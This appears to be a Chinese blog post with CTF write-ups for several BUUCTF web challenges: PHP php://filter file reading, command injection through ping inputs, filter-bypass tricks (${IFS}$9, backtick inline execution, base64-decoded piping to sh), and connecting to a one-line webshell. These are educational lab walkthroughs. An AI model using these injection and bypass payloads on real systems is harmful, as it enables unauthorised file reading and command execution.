buu-rce相关刷题

buu[ACTF2020 新生赛]Include 文件包含 任意文件读取

php支持的伪协议

 常见:
 file:// — 访问本地文件系统
 http:// — 访问 HTTP(s) 网址
 ftp:// — 访问 FTP(s) URLs
 php:// — 访问各个输入/输出流(I/O streams)
 phar:// — PHP 归档
 zip,zlib:// — 压缩流
 ​
 其他:
 data:// — 数据(RFC 2397)
 glob:// — 查找匹配的文件路径模式
 ssh2:// — Secure Shell 2
 rar:// — RAR
 ogg:// — 音频流
 expect:// — 处理交互式的流

php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

打开文件出现:

点击后出现: 

猜测此为文件包含类题目,故尝试使用PHP伪协议进行读取文件

 /?file=php://filter/read=convert.base64-encode/resource=flag.php

php://filter/: 这是PHP的一个流包装器,它允许你应用过滤器到各种数据流。 read=convert.base64-encode: 这部分指定了应用于数据流的过滤器。在这里,它告诉PHP读取数据并通过convert.base64-encode过滤器,该过滤器会将数据编码为Base64格式。

这里是可选参数,有read和write。过滤器主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开), resource=flag.php: 这部分指定了应该读取哪个文件。在这里,它尝试读取名为flag.php的文件。

得到一串base64编码后的字符,通过解码得到flag

 http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php

这里要尝试利用PHP过滤器功能读取并编码某个文件的url请求,

这是一个 HTTP 请求,目标是访问 cmd.php 文件,并传递一个名为 file 的查询参数。

php://filter/read=convert.base64-encode/resource=index.php:这是传递给 file 参数的值,它利用 PHP 的流(Stream)和过滤器(Filter)功能。

php://filter/:这是一个特殊的 PHP 流,允许你访问其他数据流并进行转换或处理。

read=convert.base64-encode:这部分指定了要从数据流中读取内容,并使用 convert.base64-encode 过滤器将其转换为 Base64 编码。

resource=index.php:这指定了要读取的资源,即 index.php 文件。

如果 cmd.php 文件中的代码没有适当的安全措施,这种请求可能会导致 index.php 文件的内容以 Base64 编码的形式被泄露。这种技术经常用于安全测试,如代码审计或漏洞扫描,来查看不应公开的文件内容。

[ACTF2020 新生赛]Exec 命令注入

命令注入中的连接符

; 前面的执行完执行后面的 | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的 & 将任务置于后台执行 && 前面的语句为假则直接出错,后面的也不执行,前面只能为真 %0a (换行) %0d (回车)

&&(短路运算符)前面命令执行成功后面才会执行

&前后命令互不干扰,在命令后跟一个空格和‘&’可以在后台一次性执行多个命令

||前面命令成功后就不会执行后面命令,反之,前面不成功则会执行后面命令

|前后命令互不干扰

; 可以一口气在后台运行多个命令

127.0.0.1(回环地址/环回地址)

127开头的都是回环地址

环回地址是一类特殊的ip地址,127.0.0.1——》127.225.225.224

主机号全零为网络地址,主机号全一为广播地址

0.0.0.0代表一个ip集合无法访问

wp:

首先查看源码,发现没有什么提示,然后是一个输入框,大概率就是sql注入

输入127.0.0.1;ls

说明可以查看文件,继续输入127.0.0.1;ls ../../../,得到

看出文件有flag,直接打开文件查看flag,输入127.0.0.1;cd ../../../;cat flag

得到flag

[GXYCTF2019]Ping Ping Ping 命令注入

命令绕过空格

 ${IFS}$9
 {IFS}
 $IFS
 ${IFS}
 $IFS$1 //$1改成$加其他数字貌似都行
 IFS
 < 
 <> 
 {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
 %20   (space)
 %09   (tab)
 X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
 ​
 ps:有时会禁用cat:
 解决方法是使用tac反向输出命令:
 linux命令中可以加\,所以甚至可以ca\t /fl\ag

内联执行

将反引号内的输出作为输入执行

 ?ip=127.0.0.1;cat$IFS$9`ls`
 ​
 $IFS在Linux下表示为空格
 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
 ​
 这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

wp

打开后根据提示自行补全IP

接着查看详细信息ls发现

直接cat这两个文件,均出现

猜测是过滤了空格,用${IFS}(在Linux系统中识别为空格)代替

又过滤了符号,使用

 $IFS$1

01变量拼接

发现不能出现f,l,a,g,使用变量拼接:

02内敛执行法

发现被过滤的符号不包含"`",使用内联执行法

使用cat打开ls下的所有文件

03 sh编码绕过法

使用方法

echo 命令编码|base64 -d|sh

[极客大挑战 2019]Knife 文件上传

打开界面是这样的

很明显一句话木马直接给出了,直接使用yijian连接一下

查看文件,找到flag

  • 15
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值